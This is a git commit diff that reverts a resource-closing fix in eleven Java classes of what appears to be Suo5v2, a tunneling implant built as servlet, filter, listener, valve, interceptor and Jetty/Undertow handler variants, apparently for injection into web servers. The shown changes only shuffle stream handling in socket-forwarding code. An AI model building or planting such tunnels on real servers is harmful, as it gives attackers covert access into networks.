Revert "fix: close respOutputStream in finally"

This reverts commit 25e4086241.
This commit is contained in:
ReaJason
2025-12-16 21:55:21 +08:00
parent 4dda9236ca
commit d9205aaff7
11 changed files with 57 additions and 78 deletions
@@ -346,10 +346,10 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
Thread t = null;
boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId);
t = new Thread(p);
@@ -381,26 +381,26 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
}
} catch (Exception ignored) {
} finally {
try {
socket.close();
} catch (Exception ignored) {
}
if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
}
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) {
t.join();
}
}
}
private void processHalfStream(Object req, Object resp, HashMap dataMap, String tunId, int dirtySize) throws Exception {
boolean newThread = false;
boolean sendClose = true;
try {
byte action = ((byte[]) dataMap.get("ac"))[0];
switch (action) {
@@ -324,10 +324,10 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe
Thread t = null;
boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
Suo5v2ControllerHandler p = new Suo5v2ControllerHandler(scInStream, respOutputStream, tunId);
t = new Thread(p);
@@ -359,17 +359,15 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe
}
} catch (Exception ignored) {
} finally {
try {
socket.close();
} catch (Exception ignored) {
}
if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
}
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) {
t.join();
}
@@ -329,10 +329,10 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru
Thread t = null;
boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
Suo5v2Filter p = new Suo5v2Filter(scInStream, respOutputStream, tunId);
t = new Thread(p);
@@ -365,18 +365,14 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru
} catch (Exception ignored) {
} finally {
try {
socket.close();
} catch (Exception ignored) {
}
if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
}
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) {
t.join();
}
@@ -341,10 +341,10 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos
Thread t = null;
boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
Suo5v2Interceptor p = new Suo5v2Interceptor(scInStream, respOutputStream, tunId);
t = new Thread(p);
@@ -376,20 +376,19 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos
}
} catch (Exception ignored) {
} finally {
try {
socket.close();
} catch (Exception ignored) {
}
if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
}
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) {
t.join();
}
}
}
@@ -379,10 +379,10 @@ public class Suo5v2JettyCustomizer implements HttpConfiguration.Customizer, Runn
Thread t = null;
boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
Suo5v2JettyCustomizer p = new Suo5v2JettyCustomizer(scInStream, respOutputStream, tunId);
t = new Thread(p);
@@ -414,17 +414,15 @@ public class Suo5v2JettyCustomizer implements HttpConfiguration.Customizer, Runn
}
} catch (Exception ignored) {
} finally {
try {
socket.close();
} catch (Exception ignored) {
}
if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
}
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) {
t.join();
}
@@ -340,10 +340,10 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust
Thread t = null;
boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
Suo5v2JettyHandler p = new Suo5v2JettyHandler(scInStream, respOutputStream, tunId);
t = new Thread(p);
@@ -375,17 +375,15 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust
}
} catch (Exception ignored) {
} finally {
try {
socket.close();
} catch (Exception ignored) {
}
if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
}
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) {
t.join();
}
@@ -335,10 +335,10 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam
Thread t = null;
boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
Suo5v2Listener p = new Suo5v2Listener(scInStream, respOutputStream, tunId);
t = new Thread(p);
@@ -370,17 +370,15 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam
}
} catch (Exception ignored) {
} finally {
try {
socket.close();
} catch (Exception ignored) {
}
if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
}
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) {
t.join();
}
@@ -323,10 +323,10 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T
Thread t = null;
boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
Suo5v2Servlet p = new Suo5v2Servlet(scInStream, respOutputStream, tunId);
t = new Thread(p);
@@ -358,17 +358,15 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T
}
} catch (Exception ignored) {
} finally {
try {
socket.close();
} catch (Exception ignored) {
}
if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
}
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) {
t.join();
}
@@ -326,10 +326,10 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus
Thread t = null;
boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
Suo5v2Struct2Action p = new Suo5v2Struct2Action(scInStream, respOutputStream, tunId);
t = new Thread(p);
@@ -361,17 +361,15 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus
}
} catch (Exception ignored) {
} finally {
try {
socket.close();
} catch (Exception ignored) {
}
if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
}
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) {
t.join();
}
@@ -326,10 +326,10 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier,
Thread t = null;
boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
Suo5v2UndertowServletHandler p = new Suo5v2UndertowServletHandler(scInStream, respOutputStream, tunId);
t = new Thread(p);
@@ -361,17 +361,15 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier,
}
} catch (Exception ignored) {
} finally {
try {
socket.close();
} catch (Exception ignored) {
}
if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
}
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) {
t.join();
}
@@ -329,10 +329,10 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust
Thread t = null;
boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
Suo5v2Valve p = new Suo5v2Valve(scInStream, respOutputStream, tunId);
t = new Thread(p);
@@ -364,17 +364,15 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust
}
} catch (Exception ignored) {
} finally {
try {
socket.close();
} catch (Exception ignored) {
}
if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
}
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) {
t.join();
}